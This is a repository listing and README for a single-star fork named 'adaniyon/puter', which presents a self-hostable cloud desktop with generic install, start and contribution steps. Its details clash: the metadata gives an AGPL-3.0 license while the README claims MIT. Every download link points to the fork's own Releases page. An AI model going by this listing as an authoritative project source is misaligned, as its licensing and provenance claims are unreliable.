https://github.com/adaniyon/puter
Puter is a free, open-source personal cloud computer that lets you access all your files, apps, and games from anywhere. Join our community on GitHub and explore the possibilities! 🐙🌐
https://github.com/adaniyon/puter
ai cloud-os flutter foss free good-first-issue macos meteor mqtt nas open-source operating-system raspberry-pi slack storage web-desktop webrtc webtop
Last synced: 4 months ago
JSON representation
Puter is a free, open-source personal cloud computer that lets you access all your files, apps, and games from anywhere. Join our community on GitHub and explore the possibilities! 🐙🌐
- Host: GitHub
- URL: https://github.com/adaniyon/puter
- Owner: adaniyon
- License: agpl-3.0
- Created: 2025-05-22T10:11:18.000Z (8 months ago)
- Default Branch: main
- Last Pushed: 2025-10-04T18:16:55.000Z (4 months ago)
- Last Synced: 2025-10-04T20:29:46.244Z (4 months ago)
- Topics: ai, cloud-os, flutter, foss, free, good-first-issue, macos, meteor, mqtt, nas, open-source, operating-system, raspberry-pi, slack, storage, web-desktop, webrtc, webtop
- Language: JavaScript
- Size: 18.2 MB
- Stars: 1
- Watchers: 1
- Forks: 0
- Open Issues: 0
-
Metadata Files:
- Readme: README.md
- Changelog: CHANGELOG.md
- Contributing: CONTRIBUTING.md
- License: LICENSE.txt
- Security: SECURITY-ACKNOWLEDGEMENTS.md
Awesome Lists containing this project
README
# Puter 🌐 - The Internet OS
Welcome to **Puter**, the free, open-source, and self-hostable Internet Operating System. This project aims to provide a powerful desktop environment that runs entirely in the cloud, giving you access to your files and applications from anywhere.
[](https://github.com/adaniyon/puter/releases)
## Table of Contents
1. [Introduction](#introduction)
2. [Features](#features)
3. [Installation](#installation)
4. [Usage](#usage)
5. [Contributing](#contributing)
6. [License](#license)
7. [Support](#support)
8. [Contact](#contact)
## Introduction
Puter aims to redefine how we think about operating systems. By leveraging cloud technology, Puter allows users to access a full desktop environment from any device with a web browser. This project is perfect for those who want a lightweight, flexible solution for their computing needs.
Whether you are a developer looking to build applications or a casual user wanting a simple interface to manage your files, Puter provides the tools you need.
## Features
- **Cloud-Based**: Access your desktop from anywhere.
- **Open-Source**: Contribute to the project and help us grow.
- **Self-Hostable**: Run Puter on your own server for complete control.
- **User-Friendly Interface**: Enjoy a clean, intuitive GUI designed for ease of use.
- **File Management**: Store and manage files seamlessly with cloud storage integration.
- **Remote Desktop**: Access your applications and files remotely.
- **Cross-Platform Compatibility**: Works on any device with a web browser.
## Installation
To get started with Puter, you can download the latest release from our [Releases section](https://github.com/adaniyon/puter/releases). After downloading, follow these steps:
1. Extract the downloaded file.
2. Navigate to the extracted folder.
3. Run the installation script:
```bash
./install.sh
```
4. Follow the prompts to complete the installation.
If you encounter any issues, please check the [Releases section](https://github.com/adaniyon/puter/releases) for troubleshooting tips.
## Usage
Once installed, you can start Puter by running the following command in your terminal:
```bash
./start.sh
```
Open your web browser and navigate to `http://localhost:3000` to access your new cloud desktop. From here, you can manage files, launch applications, and customize your environment.
### Key Commands
- **Start Puter**: `./start.sh`
- **Stop Puter**: `./stop.sh`
- **Update Puter**: `./update.sh`
## Contributing
We welcome contributions from the community. If you want to help improve Puter, please follow these steps:
1. Fork the repository.
2. Create a new branch for your feature or bug fix.
3. Make your changes and commit them.
4. Push your branch to your fork.
5. Create a pull request.
Please ensure your code follows our coding standards and includes appropriate tests.
## License
Puter is licensed under the MIT License. You can freely use, modify, and distribute the software, provided that you include the original license.
## Support
If you need help or have questions about Puter, please check our [GitHub Issues](https://github.com/adaniyon/puter/issues) page. You can also reach out to the community for assistance.
## Contact
For any inquiries or feedback, please contact us at:
- Email: support@puter.io
- GitHub: [adaniyon](https://github.com/adaniyon)
## Conclusion
Puter is more than just an operating system; it is a gateway to a new way of computing. With its cloud-based architecture, it offers flexibility and accessibility like never before. We invite you to explore, contribute, and become part of our growing community.
[](https://github.com/adaniyon/puter/releases)
Thank you for your interest in Puter!